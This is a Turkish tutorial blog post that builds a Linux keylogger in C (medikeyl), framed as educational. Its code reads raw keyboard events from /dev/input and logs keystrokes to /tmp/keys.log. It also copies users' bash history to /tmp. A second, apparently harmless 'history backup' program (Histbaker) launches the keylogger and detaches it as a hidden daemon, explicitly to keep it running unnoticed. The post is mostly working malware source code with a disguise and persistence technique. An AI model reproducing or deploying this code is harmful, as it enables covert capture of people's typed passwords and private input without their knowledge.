medikeyl: Örnek ve Basit Keylogger Tasarımı ile Daemon Oluşturma(C)

____ ____ ____ ____ ____ ____ ____ ____ ||m |||e |||d |||i |||k |||e |||y |||l || ||__|||__|||__|||__|||__|||__|||__|||__|| |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\| medikeyl :: Sample and Simple Keylogger(Linux)

Konular:

    • Genel Mimari Yaklaşım
    • medikeyl Tasarımı
    • Problemler ve Geliştirmeye Açık Yönler
    • Ekstra Özellik Çalışmaları
    • Clipboard Özelliği
    • Bash History Yedekleme Özelliği (Histbaker)
    • medikeyl'ı Gizlemek (Child Process to Parent)
    • Sonuç
    • medikeyl ve Histbaker Kaynak Kodu

Merhabalar. Projemizde Linux ortamında basit seviyede C dili kullanarak klavye log yani keylogger oluşturacağız. Hazırladığımız bu zararlıyı farklı bir uygulama(Histbaker) ile çocuk prosesten anne prosese çevireceğiz ve daemon oluşturağız. Histbaker'da yine bizim tarafımızdan yazılacak olan basit bir bash history yedekleme aracıdır. medikeyl ve diğer işlemlerimizde yer vereceğimiz örneğimizdeki amacımız; öğretici, anlaşılır ve pratik bir teknik referans sunarak araştırma konusu sağlamaktır.

Genel Mimari Yaklaşım

Klavyelerin anlamlandırılması ve dil paketleri ek bir programlama istemekte ve işletim sistemlerine göre de değişkenlik göstermektedir. Konuyu ele alarken Linux işletim sistemimizde EN-* İngilizce klavye kullanıldığını varsayarak adım adım keylogger hazırlayacağız.

medikeyl, temel yapıda bir keylogger yazılımı olacak.

Örnek çalışmamızda "Ubuntu 22.04.5 LTS / Kernel 6.8.0-60-generic" kullanıyor olacağız.

Öncelikle klavye mouse gibi INPUT olarak sayılan donanımların işletim sistemi üzerindeki işlenme ortamını ve mantığını ele alalım. Mevcut işletim sistemimizde kullanıcı inputları "/dev/input/by-path" dizininde ele alınmaktadır.

/dev/input/by-path altındaki dosyalar log dosyası değildir ve metin formatında değildir. Bunlar binary karakter aygıtlarıdır.

/dev/input/by-path bir udev tarafından oluşturulan sembolik link (symlink) dizinidir.

Buradaki dosyalar:

Gerçek cihaz dosyalarına (/dev/input/eventX, /dev/input/mouseX, vb.) Fiziksel bağlantı yoluna göre isimlendirilmiş linklerdir.

Yani /dev/input/by-path altındakiler Kernel input subsystem’e bağlı Canlı cihaz arayüzleridir.

Bu dosyalar: cat ile okunamaz (okunur ama anlamsız karakterler çıkar). Satır bazlı değildir.

struct input_event formatında binary veri üretir. Dolayısıyla bu dosyalar Binary olarak parse edilmelidir.

Değinmeden geçemeyeceğimiz durum ise; /dev/input/by-path tüm Linux sistemlerinde zorunlu, sabit ve birebir aynı bir path değildir. Ancak modern Linux dağıtımlarının büyük çoğunluğunda fiilen aynıdır, çünkü udev ve Linux input subsystem ortak bir mimariyi takip etmektedir.

Varsayılan POSIX veya Linux ABI standardı değildir.

- /dev/input → kernel tarafından sağlanan input subsystem

- /dev/input/by-path → udev kuralı ile userspace’te oluşturulur

Aşağıdaki sistemlerde varsayılan olarak vardır:

# Ubuntu / Debian

# Fedora / RHEL / Rocky / Alma

# Arch Linux

# openSUSE

# Gentoo (udev etkinse)

Çünkü hepsi systemd-udevd veya eudev kullanır. Diğer işletim sistemleri veya Linux dağıtımları da hazırlanan keylogger için ayrı incelenmelidir. Eğer bugün hazırlayacağımız proje gibi basit yapıda değilde, ergonomik olan ve çalıştığı tüm ortamlara etki edebilen bir keylogger hazırlıyor olsaydık, bu parametrelerin hepsine dikkat etmemiz ve yazılımımız içerisinde yerleştirmemiz gerekecekti. Çalıştığı ortamda input path'ler otomatik olarak bulunacak ve işleme alınacaktı.

Mevcut işletim sistemimize dönecek olursak aşağıdaki tasarım konusunda yer alan iki farklı dosya yolunu takip edip işleme almamız uygun ve yeterli olacaktır.

medikeyl Tasarımı

İlk işlem /dev/input/by-path/ dizini içerisinde "kbd" değerini taşıyan bir dosya olup olmadığını kontrol etmekdir. Bu dosyayı doğrudan işleme alabiliriz.

find /dev/input/by-path -name "*kbd*"

İkinci yol ise yine bu dosyaların EVENT olarak ayrıldığı ve Klavye ile alakalı olan olay arayüzünü bulmaktadır. Bunlar ise /dev/input/event0 , /dev/input/event1 veya /dev/input/event2 olarak yerlerini alırlar. Her eventX, tek bir input device instance’ını temsil eder.

Fakat mevcut oturumda event1 klavyeyi temsil ediyorken, reboot sonrası bu belirteç mouse için tanımlanabilir. Yani değişkendir. Dolayısıyla ilk yöntemimizdeki gibi "kbd" değeriyle yine eşleştirme ve bulma işlemi gerçekleştirebiliriz.

readlink -f /dev/input/by-path/$(ls /dev/input/by-path/ 2>/dev/null | grep kbd)

Çalışmamızda şimdilik birinci yolu tercih edeceğiz. Dolayısıyla aşağıdaki "KBDFind" adını verdiğimiz fonksiyon bu dosyayı doğru bir şekilde bulmamızı sağlayacaktır.

#define INPUT_BY_PATH "/dev/input/by-path/"
#define KBD_TOKEN     "kbd"

int KBDFind(char *out_path, size_t out_size)
{
    DIR *dir;
    struct dirent *entry;

    dir = opendir(INPUT_BY_PATH);
    if (!dir) {
        return -1;
    }

    while ((entry = readdir(dir)) != NULL) {

        if (strstr(entry->d_name, KBD_TOKEN) == NULL)
            continue;

        int written = snprintf(
            out_path,
            out_size,
            "%s%s",
            INPUT_BY_PATH,
            entry->d_name
        );

        closedir(dir);

        if (written < 0 || (size_t)written >= out_size) {
            return -2;  // buffer cok kucuk
        }

        return 0;  // basarili
    }

    closedir(dir);
    return 1; // keyboard bulunamadi
}

Ana fonksiyon içerisinde ise değişkenlerimizin tanımlamalarını yaparak KBDFind fonksiyonunu çağıracağız. Dolayısıyla ilk işimiz input arayüzünü keşfetmek olacaktır.

int main(void){

  char keyboard_path[256];

  if (KBDFind(keyboard_path, sizeof(keyboard_path)) == 0) {
      printf("Klavye : %s\n", keyboard_path);
  } else {
      printf("Klavye bulunamadi.\n");
  }

Yukarıda bahsettiğimiz üzere dosyamız struct input_event formatında binary veri üretmektedir. Yani doğrudan cleartext olarak işleme alamıyoruz. Debug etmek, anlamak ve takip etmek için "evtest" komutundan faydalanabiliriz.

evtest; klavyeler, fareler, dokunmatik yüzeyler, joystickler ve dokunmatik ekranlar gibi Linux çekirdeği giriş aygıtlarından gelen ham giriş olaylarını izlemek ve test etmek için kullanılan bir komut satırı yardımcı programıdır.

Yüklü olmama ihtimali yüksektir. Dolayısıyla mevcut Ubuntu işletim sistemimiz için "apt install evtest" komutuyla kurulum yapabiliriz.

"evtest" kullanarak keşfettiğimiz olayı izleyelim.

Görüldüğü üzere olay kodları ve KEY_ yani keyboard üzerindeki tuş karşılıkları tanımlı ve Supported events olarak görülebilmektedir. Yani yazacağımız keylogger bu değerleri dikkate alacak ve son yapılan işlemi kontrol edecek. Keşfettiğimiz olay path'i yani yolunu sürekli okumamız gerekmektedir. Bunu while döngüsüyle sağlayacağız.

if(strlen(keyboard_path) > 0){
    int fd;
    fd = open(keyboard_path, O_RDONLY);
    if(fd == -1){
      printf("Klavye gunlugu okunamadi. Yetkisiz erisim soz konusu olabilir.\n");
      return 1;
    }
    struct input_event ev;
    ssize_t n;
    while(1){ // Event icerisinden anahtarlari okuyarak yansitma
      n = read(fd, &ev, sizeof ev);
      if(ev.type == EV_KEY && ev.value == 1){
        getKeys(key_name, ev.code);
        printf("%s\n", key_name + 4); // burada KEY_ kısmını kaldırıyoruz.
        if(ev.code == KEY_ESC){
          printf("Cikiliyor...\n");
          break;
        }
      }
    }
    close(fd);
    fflush(stdout);
  }else{
    printf("Islemler tamamlanamadi.\n");
  }

Ayrıca yukarıdaki kod parçacığını incelerseniz printf("%s\n", key_name + 4) plus4 kullandığımı görebilirsiniz. Burada her karakterin başında yer alan "KEY_" tanımını yani ilk 4 karakteri print içerisinde dikkate almamasını belirtmiş oluyoruz. Dolayısıyla Klavye işlemlerini loglarken sadece net karşılıklarını almış olacağız.

Yukarıda farkını görebiliyorsunuz. Artık gereksiz karakterleri output içerisinde çıkartmış olduk.

Ayrıca kodumuzun içerisinde getKeys(key_name, ev.code); fonksiyonunu görüyorsunuz. Orjinal event dosyası bir çok output değeri barındırıyor. Doğrudan klavye loglarını sade ve temiz almak için anahtar kelimelerin tanımlandığı bir fonksiyon oluşturmamız gerekiyor. While döngümüz bu anahtarları kontrol edecek ve gördüğü anahtarları doğrudan bize yansıtacak şekilde çalışmalıdır.

Anahtar adı için bir değişen char key_name[100]; tanımlayarak aşağıdaki fonksiyonu oluşturuyoruz.

void getKeys(char *key_name, int key_code){
  switch(key_code){
    case 51: strcpy(key_name,"KEY_COMMA"); break;
    case 52: strcpy(key_name,"KEY_DOT"); break;
    case 53: strcpy(key_name,"KEY_SLASH"); break;
    case 54: strcpy(key_name,"KEY_RIGHTSHIFT"); break;
    case 55: strcpy(key_name,"KEY_KPASTERISK"); break;
    case 56: strcpy(key_name,"KEY_LEFTALT"); break;
    case 57: strcpy(key_name,"KEY_SPACE"); break;
    case 58: strcpy(key_name,"KEY_CAPSLOCK"); break;
    case 0 : strcpy(key_name,"KEY_RESERVED"); break;
    case 12: strcpy(key_name,"KEY_MINUS"); break;
    case 13: strcpy(key_name,"KEY_EQUAL"); break;
    case 14: strcpy(key_name,"KEY_BACKSPACE"); break;
    case 1 : strcpy(key_name,"KEY_ESC"); break;
    case 15: strcpy(key_name,"KEY_TAB"); break;
    case 26: strcpy(key_name,"KEY_LEFTBRACE"); break;
    case 27: strcpy(key_name,"KEY_RIGHTBRACE"); break;
    case 28: strcpy(key_name,"KEY_ENTER"); break;
    case 29: strcpy(key_name,"KEY_LEFTCTRL"); break;
    case 39: strcpy(key_name,"KEY_SEMICOLON"); break;
    case 40: strcpy(key_name,"KEY_APOSTROPHE"); break;
    case 41: strcpy(key_name,"KEY_GRAVE"); break;
    case 42: strcpy(key_name,"KEY_LEFTSHIFT"); break;
    case 43: strcpy(key_name,"KEY_BACKSLASH"); break;
    case 2 : strcpy(key_name,"KEY_1"); break;
    case 3 : strcpy(key_name,"KEY_2"); break;
    case 4 : strcpy(key_name,"KEY_3"); break;
    case 5 : strcpy(key_name,"KEY_4"); break;
    case 6 : strcpy(key_name,"KEY_5"); break;
    case 7 : strcpy(key_name,"KEY_6"); break;
    case 8 : strcpy(key_name,"KEY_7"); break;
    case 9 : strcpy(key_name,"KEY_8"); break;
    case 10: strcpy(key_name,"KEY_9"); break;
    case 11: strcpy(key_name,"KEY_0"); break;
    case 16: strcpy(key_name,"KEY_Q"); break;
    case 17: strcpy(key_name,"KEY_W"); break;
    case 18: strcpy(key_name,"KEY_E"); break;
    case 19: strcpy(key_name,"KEY_R"); break;
    case 20: strcpy(key_name,"KEY_T"); break;
    case 21: strcpy(key_name,"KEY_Y"); break;
    case 22: strcpy(key_name,"KEY_U"); break;
    case 23: strcpy(key_name,"KEY_I"); break;
    case 24: strcpy(key_name,"KEY_O"); break;
    case 25: strcpy(key_name,"KEY_P"); break;
    case 30: strcpy(key_name,"KEY_A"); break;
    case 31: strcpy(key_name,"KEY_S"); break;
    case 32: strcpy(key_name,"KEY_D"); break;
    case 33: strcpy(key_name,"KEY_F"); break;
    case 34: strcpy(key_name,"KEY_G"); break;
    case 35: strcpy(key_name,"KEY_H"); break;
    case 36: strcpy(key_name,"KEY_J"); break;
    case 37: strcpy(key_name,"KEY_K"); break;
    case 38: strcpy(key_name,"KEY_L"); break;
    case 44: strcpy(key_name,"KEY_Z"); break;
    case 45: strcpy(key_name,"KEY_X"); break;
    case 46: strcpy(key_name,"KEY_C"); break;
    case 47: strcpy(key_name,"KEY_V"); break;
    case 48: strcpy(key_name,"KEY_B"); break;
    case 49: strcpy(key_name,"KEY_N"); break;
    case 50: strcpy(key_name,"KEY_M"); break;
    case 59: strcpy(key_name,"KEY_F1"); break;
    case 60: strcpy(key_name,"KEY_F2"); break;
    case 61: strcpy(key_name,"KEY_F3"); break;
    case 62: strcpy(key_name,"KEY_F4"); break;
    case 63: strcpy(key_name,"KEY_F5"); break;
    case 64: strcpy(key_name,"KEY_F6"); break;
    case 65: strcpy(key_name,"KEY_F7"); break;
    case 66: strcpy(key_name,"KEY_F8"); break;
    case 67: strcpy(key_name,"KEY_F9"); break;
    case 68: strcpy(key_name,"KEY_F10"); break;
    case 69: strcpy(key_name,"KEY_NUMLOCK"); break;
    case 70: strcpy(key_name,"KEY_SCROLLLOCK"); break;
  }
}

medikeyl yukarıda yer alan bütünüyle kullanılmaya hazırdır.

Problemler ve Geliştirmeye Açık Yönler

Tanımlamalarımız doğru ve net bir şekilde yapılmıştır. Ancak gerçek bir keylogger senaryosunda harflerin küçük/büyük olması, satırın devam ettirilip/ettirilmediği veya özel karakterlerin kullanımı gibi kontrol edilmesi gereken bir çok mekanizma olmalıdır.

Aşağıdaki gibi bir çıktımız olsun;

LEFTSHIFT
A
A
A
LEFTSHIFT
D
D
D
D
LEFTSHIFT
D
LEFTSHIFT
D
LEFTSHIFT
D
LEFTSHIFT
A
LEFTCTRL
LEFTALT
RIGHTSHIFT
P
RIGHTSHIFT
O
O
O
O
O

Bu çıktılar anahtar olarak tanımlıdır ve while döngüsüyle bastırıyoruz. Yukarıdakilerden örnek verecek olursak; Örneğin A dan önce LEFTSHIFT veya RIGHTSHIFT geliyorsa A büyük A olacak. Ancak A dan önce LEFTSHIFT veya RIGHTSHIFT yoksa A küçük a olacak. Bu diğer harfler içinde geçerli. While döngümde sanki bir önceki değeri de işleme almam gereken bir fonksiynon oluşturmam gerekiyor.

Tam “bir önceki değeri bilmek” değil, pratikte modifier state (SHIFT/CTRL/ALT) tutmak gerekiyor. Klavye event akışında doğru çözüm şu olabilir:

LEFTSHIFT / RIGHTSHIFT basıldı mı → shift = 1

LEFTSHIFT / RIGHTSHIFT bırakıldı mı → shift = 0

Bir harf geldiğinde (A..Z) → shift durumuna göre büyük/küçük bas Bu yaklaşım “önceki anahatar” ile değil, durum makinesi (state machine) ile çözülür ve tüm harfler için doğru çalışır.

Aynı problem tahmin edebileceğiniz gibi özel karakterleri (örn. !@#$%^&*()_+{}:"<>? vb.) doğru tespit etmek içinde geçerlidir. “harfleri büyüt/küçült” mantığı yetmez. Bunun yerine iki yaklaşım söz konusu olabilir;

Keymap kullanarak key code + modifier state ile karaktere çevirme işlemi yapılabilir.

KEY_1 + shift_down=1 → '!'

KEY_SLASH + shift_down=1 → '?'

gibi örnek verilebilir. Tabi bu anahtar tanımlamalarını getKeys fonksiyonuna eklemelesiniz ve ayrıca günlükte yer alan state değerlerini kontrol edecek ayrı bir fonksiyon hazırlamanız gerekecek.

Eğitim ve akademik amaçlı değindiğimiz bu konuda yukarıda bahsettiğim problemlerin çözüldüğü ve tam bir keylogger haline gelmiş kodları paylaşmak istemiyorum. Kötü amaçlı kullanımı engellemek amacıyla sadece bunu yapabiliriz.

Fakat gördüğünüz üzere teknik ve detaylı bir şekilde işin mantığını kavramış olduk ve bir keylogger hazırlayacak konuma geldik.

Temelini anladığımız ve kavradığımız bu konuda geriye kalan tüm işlemler amaç doğrultusunda değişkenlik gösterebilir. Ekstra özellik eklemek istersek de yine dokunuşlar yapabiliriz.

Ekstra Özellik Çalışmaları

Clipboard Özelliği

Ekstra özellik ne olabilir diye düşecek olursak; örneğin clipboard loglayan bir yapı olabilir. Fakat Linux içerisinde tek ve evrensel bir “clipboard” API’si yoktur.

Clipboard, çalıştığın grafik yığınına göre değişir:

X11: X server üzerindeki selection mekanizmasıyla (CLIPBOARD / PRIMARY)

Wayland: compositor + protokoller (wlr-data-control, xdg-desktop-portal vb.)

TTY / console: genelde “clipboard” diye bir kavram yoktur (terminal emülatörü kendi içinde yapabilir)

Dolayısıyla “tamamen C” ile clipboard okumak mümkündür, ama X11’de Xlib ile (veya Wayland’da ilgili protokollerle) yapılır.

Aşağıdaki kod parçası ile sisteminizde çalışan yapıyı keşfedebilirsiniz.

#include 
#include 

int main(void) {
    const char *type = getenv("XDG_SESSION_TYPE");
    const char *disp = getenv("DISPLAY");
    const char *wdisp = getenv("WAYLAND_DISPLAY");

    printf("XDG_SESSION_TYPE=%s\n", type ? type : "(null)");
    printf("DISPLAY=%s\n", disp ? disp : "(null)");
    printf("WAYLAND_DISPLAY=%s\n", wdisp ? wdisp : "(null)");
    return 0;
} 

Bu konu sizler için bir çalışma konusu olabilir. Benim sistemimde çıktı net biçimde X11 olduğunu vurguluyor. Dolayısıyla X11/Xlib.h ve X11/Xatom.h kütüphanelerinden faydalanılarak bir clipboard logger da yazılabilir.

Bash History Yedekleme Özelliği (Histbaker)

medikeyl içerisinde eş zamanlı olarak mevcut kullanıcılara ait bash_history dosyalarını yedeklemesini de belirtebiliriz.

İlk amacımızın medikeyl da olduğu gibi işlem yapacağımız dosyaya ait path'in yani yolun keşfedilmesi olmalıdır. Mevcut işletim sistemimiz üzerinden örneğimize devam edeceğiz. Dolayısıyla HISTFILE gibi bash değişkenlerini veya Linux içerisinde global anlamda isimlendirilen .bash_history dosya adını keşfetmeye çalışacağız.

static int resolve_history_path(char *out, size_t out_sz)
{
    const char *histfile = getenv("HISTFILE");
    const char *home = getenv("HOME");

    if (histfile && histfile[0]) {
        if (histfile[0] == '/') {
            // absolute
            snprintf(out, out_sz, "%s", histfile);
            return 0;
        }
        // relative: HOME ile birleştir
        if (home && home[0]) {
            snprintf(out, out_sz, "%s/%s", home, histfile);
            return 0;
        }
        // HOME yoksa relative'i çözemeyiz
        errno = EINVAL;
        return -1;
    }

    // HISTFILE yoksa default
    if (!home || !home[0]) {
        errno = EINVAL;
        return -1;
    }
    snprintf(out, out_sz, "%s/.bash_history", home);
    return 0;
} 

Path keşfedildikten sonra ise "/tmp/history-TARİH" formatında mevcut history içeriğini tmp kulasörüne kopyalayarak kaydedeceğiz. Bu işlemi ise aşağıdaki kod bütünüyle sağlayabiliriz.

static int copy_file(const char *src, const char *dst)
{
    int in = open(src, O_RDONLY);
    if (in < 0) return -1;

    // /tmp altında yazacağımız dosya: 0600 yeterli
    int out = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0600);
    if (out < 0) {
        close(in);
        return -1;
    }

    char buf[64 * 1024];
    for (;;) {
        ssize_t r = read(in, buf, sizeof(buf));
        if (r == 0) break;
        if (r < 0) {
            if (errno == EINTR) continue;
            close(in);
            close(out);
            return -1;
        }

        ssize_t off = 0;
        while (off < r) {
            ssize_t w = write(out, buf + off, (size_t)(r - off));
            if (w < 0) {
                if (errno == EINTR) continue;
                close(in);
                close(out);
                return -1;
            }
            off += w;
        }
    }

    close(in);
    if (fsync(out) != 0) { // diske yazmayı zorla
        close(out);
        return -1;
    }
    close(out);
    return 0;
}

MAIN yapımızda bu fonksiyonları sırasıyla çağırarak dosya kopyalama işlemini tamamlayacak.

int main(void)
{
    char src[PATH_MAX];
    if (resolve_history_path(src, sizeof(src)) != 0) {
        fprintf(stderr, "History path çözülemedi (HISTFILE/HOME). errno=%d\n", errno);
        return 1;
    }

    struct stat st;
    if (stat(src, &st) != 0) {
        fprintf(stderr, "History dosyası bulunamadı: %s (errno=%d)\n", src, errno);
        return 1;
    }
    if (!S_ISREG(st.st_mode)) {
        fprintf(stderr, "History path normal dosya değil: %s\n", src);
        return 1;
    }

    // /tmp/history-YYYYMMDD-HHMMSS
    time_t t = time(NULL);
    struct tm tm;
    localtime_r(&t, &tm);

    char ts[32];
    strftime(ts, sizeof(ts), "%Y%m%d-%H%M%S", &tm);

    char dst[PATH_MAX];
    snprintf(dst, sizeof(dst), "/tmp/history-%s", ts);

    if (copy_file(src, dst) != 0) {
        fprintf(stderr, "Kopyalama başarısız: %s -> %s (errno=%d)\n", src, dst, errno);
        return 1;
    }

    printf("OK: %s\n", dst);
    return 0;
}

ChatGPT e kodlarımızın global çalışması için neler yapabiliriz? sorusunu yönelttiğimde bana _POSIX_C_SOURCE 200809L tanımlamasını önerdi. _POSIX_C_SOURCE 200809L kullanılmasının bazı POSIX fonksiyonlarının bildiriminin (prototype) görünür olmasını garanti altına alınabildiği önemli bir bilgidir.

_POSIX_C_SOURCE bir feature-test macrosudur.

C standardı (ISO C) sadece çok temel fonksiyonları garanti eder. Unix/Linux’ta kullandığımız birçok fonksiyon ise POSIX standardına aittir.

Örnek POSIX fonksiyonları:

open
read
write
ftruncate
fsync
localtime_r
popen
usleep

Derleyici, hangi POSIX sürümünü hedeflediğini bu macro’ya bakarak belirler.

200809L, POSIX.1-2008 standardını ifade etmektedir. Kısacası yaptığımız tanım "Bu kaynak dosyada POSIX.1-2008’e kadar olan API’leri kullanacağım." anlamına gelmektedir. Aşağıdaki gibi POSIX fonksiyonlarının prototype’larını gizlendiği senaryolarda kullandığımız POSIX API fonksiyonlarında sorun yaşanmaması amacıyla kullanılmaktadır.

warning: implicit declaration of function ‘popen’
warning: implicit declaration of function ‘localtime_r’

Kodumuzda open, read, write, fsync, localtime_r ve stat gibi fonksiyonlar yer almaktadır. Sonuç olarak kodumuz aşağıdaki gibi tam sürümünü alabilir.

Medikeyl'ı Gizlemek (Child Process to Parent)

Yukarıda bazı özelliklere ve noktalar değindik. Peki ana amacımız olan keylogger programını zararsız bir history yedekleme programı içerisinden çağırarak arka planda kalıcılığını nasıl sağlarız?

Parent proses sonlandığında child’ın(Anne/Çocuk) devam etmesi için parent’ın yapması gereken şey, child’ı ayırmak (detach) ve parent öldüğünde child’ın ölmesine neden olacak mekanizmaları (terminal/HUP, process group, vb.) devre dışı bırakmaktır.

Kullanacağımız mantık; Parent'ı fork() etmek ve çıkarmak, sonrasında ise setsid() ile child'ı özgür bırakmak olacak.

pid_t pid = fork();
    if (pid < 0) {
        perror("fork");
        return -1;
    }

Mevcut işlemi fork ediyoruz.

if (pid > 0) {
        return 0;
    }

Parent'ın child’ı bekleyip çıkmasını sağlıyoruz.

if (setsid() < 0) {
        _exit(127);
    }

Child için yeni bir oturum oluşturuyoruz.

Son olarak aşağıdaki gibi Çocuk işlemin daemon haline gelmesine adını çalıştığını dizini değiştiriyoruz ve onu ayrı ve bağımsız bir proses haline getiriyoruz.

// Working directory değiştir
    if (new_cwd && new_cwd[0]) {
        if (chdir(new_cwd) != 0) {
            // İstersen hata halinde yine de devam edebilirsin; burada fail ediyoruz
            _exit(127);
        }
    } else {
        // new_cwd verilmezse / yap (daemon alışkanlığı)
        if (chdir("/") != 0) {
            _exit(127);
        }
    }

    // Terminal I/O'yu kes
    int fd = open("/dev/null", O_RDWR);
    if (fd >= 0) {
        dup2(fd, STDIN_FILENO);
        dup2(fd, STDOUT_FILENO);
        dup2(fd, STDERR_FILENO);
        if (fd > 2) close(fd);
    }

    // Child programı çalıştır
    execvp(argv[0], argv);
    _exit(127);

Gerçekleştirdiğimiz tüm işlemleri bir araya getirelim ve kullanışlı, yardımcı isage notları yerleştirelim.

// --help desteği (getopt'tan önce kontrol)
    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "--help") == 0) {
            usage(argv[0]);
            return 0;
        }
    }

Main için yukarıdaki help/yardım argümanını ekleyebiliriz ve aşağıdaki tanımlamaları yapabiliriz.

-c parametresi kullanarak medikeyl tanımlaması yapacağız. Ayrıca -w parametresiyle medikeyl'ın daemon mantığıyla başka bir dizinde yerini almasını sağlayacağız.

case 'w':
                child_cwd = optarg;
                break;

            case 'c': {
                // -c <prog> [args...]  → geri kalan her şey child'a ait
                int prog_index = optind - 1;
                child_argv = &argv[prog_index];
                goto end_opts; // option parsing burada biter
            }

medikeyl aslında canlı output ileten bir yazılımdı. Fakat şimdi onu daemon olarak kullanacağımız için çıktıları bir dosyaya yazmak zorunda. Keylogger mantığıyla toplanan bilgileri test amaçlı /tmp/keys.log dosyasına yazdıralım. Aşağıdaki gibi ufak bir değişiklik yapacağız.

while(1){ // Event icerisinden anahtarlari okuyarak yansitma
      n = read(fd, &ev, sizeof ev);
      if(ev.type == EV_KEY && ev.value == 1){
        getKeys(key_name, ev.code);
        printf("%s\n", key_name + 4); // burada KEY_ kısmını kaldırıyoruz.
        if(ev.code == KEY_ESC){
          printf("Cikiliyor...\n");
          break;
        }
      }
    }

yukarıdaki bütünü aşağıdakiyle değiştirebiliriz.

FILE *out = fopen("/tmp/keys.log", "a");  // append 
    if (!out) {
        perror("fopen");
        return 1;
    }   

    while (1) {
        n = read(fd, &ev, sizeof ev);
        if (n <= 0) continue;

        if (ev.type == EV_KEY && ev.value == 1) {
            getKeys(key_name, ev.code);

            fprintf(out, "%s\n", key_name + 4); // KEY_ kaldırılmış hali
            fflush(out);  // log ise ÖNEMLİ
            if(ev.code == KEY_ESC){
              printf("Cikiliyor...\n");
              break;
            }          
 
        }
    }

Sonuç

Hazırladığımız bütünü "./histbaker -c /home/akkus/Desktop/key/medikeyl -w /tmp" şeklinde çalıştırabiliriz.

Görüldüğü üzere ps komutuyla da kontrol edildiğinde histbaker adlı uygulamamız işlevini gördü ve medikeyl'ı çağırarak onu Parent haline dönüştürdü. Medikeyl şuan ayrı bir daemon proses olarak çalışmaktadır.

İncelememiz ve araştırmalarımız şimdilik burada sonlanıyor. Umarım faydalı olabilmişimdir.

medikeyl ve Histbaker Kaynak Kodu

  • Download medikeyl.c
  • Download histbaker.c
  • Teşekkürler (AkkuS)

    Original text